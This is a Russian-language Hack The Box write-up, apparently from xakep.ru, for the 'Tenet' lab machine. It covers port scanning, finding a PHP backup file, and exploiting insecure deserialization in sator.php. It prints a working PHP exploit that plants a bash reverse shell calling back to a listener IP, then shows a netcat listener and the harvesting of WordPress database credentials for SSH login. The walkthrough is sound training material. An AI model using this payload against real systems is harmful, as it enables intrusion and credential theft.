Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этой статье я покажу простой инструмент для поиска бэкапов, познакомлю тебя с уязвимостью при десериализации объекта в PHP и продемонстрирую Race Condition при выполнении самописного скрипта. Все эти манипуляции мы будем проделывать с Tenet — средней по сложности машиной с Hack The Box.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
По традиции начнем с того, что добавим IP машины (10.10.10.223
) в /etc/hosts
, чтобы больше не печатать его руками.
10.10.10.223 tenet.htb
И сканируем порты:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Результат работы скрипта
Скрипт находит два открытых порта: 22 (служба SSH) и 80 (веб‑сервер Apache). SSH закрыт, и без учетки там делать нечего, поэтому будем «пробивать» веб. Помимо точек входа, нас интересуют любые подробности, поэтому внимательно изучаем сайт.
На одной из страниц находим интересный комментарий — его оставил пользователь neil
. В комментарии упоминается файл sator.php
, а также бэкап.
Комментарий, оставленный на сайте пользователем neil
Это очень важная для нас информация. Не исключено, что там мы и найдем точку входа, если администратор не выполнил просьбу Нила и не спрятал файлы. Первым делом я решил поискать бэкапы sator.php
при помощи утилиты bfac, которая перебирает подходящие варианты.
bfac --url http://tenet.htb/sator.php
Поиск бэкапов файла sator.php с помощью bfac
Но к сожалению, нам не удалось найти никаких бэкапов.
Не оставляя идею с sator
, я решил проверить поддомен sator.tenet.php
. Чтобы обратиться к виртуальному хосту, нужно указать его адрес в заголовке Host
HTTP-запроса. Проверить доступ можно с помощью curl.
curl -H 'Host: sator.tenet.htb' http://tenet.htb
Запрос к виртуальному хосту sator.tenet.php
Веб‑сервер вернул нам дефолтную страницу Apache 2. Хвалим себя за удачную находку и добавляем запись в файл /etc/hosts
.
10.10.10.223 sator.tenet.htb
Следующий шаг в таких случаях — просканировать директории на найденном домене. Но, помня о комментарии, я сначала поищу бэкапы файла sator.php
. На этот раз нам повезло — находим бэкап и можем скачать его для анализа.
bfac --url http://sator.tenet.htb/sator.php
Поиск бэкапов файла sator.php с помощью bfac
Давай разберемся с кодом. Этот файл ждет, что будет указан параметр arepo
, а переданные данные подвергаются десериализации (строки 23–24). Также имеется класс DatabaseExport
, содержащий имя файла и данные (строки 3–6), которые будут записаны в этот файл при вызове деструктора класса (строки 15–20).
Содержимое файла sator.php.bak
Получается, что мы можем сериализовать объект такого класса и отправить сериализованные данные на сервер. А это открывает возможность записать какие угодно данные в любой файл. Писать мы, конечно, будем бэкшелл. Но сначала проверим, есть ли на сервере файл, бэкап которого мы разобрали.
Запрос к sator.php
Результаты работы sator.php
и бэкапа идентичные, а значит, все должно получиться. Но сначала нам нужно запустить листенер, который будет принимать соединение с нашей стороны. Я буду использовать netcat и оболочку rlwrap.
apt install rlwrap
rlwrap nc -lvp [port]
Теперь разберемся с эксплуатацией. Копируем определение класса DatabaseExport
, а затем задаем значение переменных: user_file
— это имя файла, а data
— бэкшелл, который будет записан в файл (строки 2–11). Остается создать экземпляр класса, сериализовать его и передать в качестве данных на известный нам адрес (строки 12–13). Завершающим действием будет обращение к файлу с бэкшеллом (строка 14).
<?phpclass DatabaseExport{ public $user_file = 'r.php'; public $data = '<?php exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.107/4321 0>&1'"); ?>'; public function __destruct() { file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data); }}$url = 'http://sator.tenet.htb/sator.php?arepo=' . urlencode(serialize(new DatabaseExport));$response = file_get_contents("$url");$response = file_get_contents("http://10.10.10.223/r.php");?>
Выполняем этот код прямо в консоли и получаем шелл в окне листенера.
php exploit.php
Бэкконнект в окне листенера
Так как на хосте развернут веб‑сервер, где крутится целая CMS, то первое наше действие после захвата шелла — попробовать получить какие‑нибудь учетные данные пользователей. Высока вероятность, что эти учетки подойдут и для локальных пользователей. Для удобства получим интерактивный шелл с помощью Python 3, а потом поищем директорию WordPress.
python3 -c "import pty; pty.spawn('/bin/bash')"
Содержимое директории веб‑сервера
В WordPress есть место, где учетные данные есть всегда, — файл с настройками для подключения к базе данных wp-config.php
.
Содержимое файла wp-config.php
Эти учетные данные позволяют подключиться к базе данных и получить другие критические данные пользователей, но в этом случае мы можем сразу авторизоваться с ними на сервере по SSH.
Флаг пользователя
Зайдя под пользователем, мы теперь хотим получить рут, но вряд ли создатели машины просто оставили нам нужный ключ лежащим где‑то на видном месте. Для упрощения поисков я обычно гоняю скрипты LinPEAS, но можно сразу проверить наиболее вероятные места: настройки sudoers, приложения с выставленным битом SUID, прослушиваемые на локалхосте порты.
Источник: xakep.ru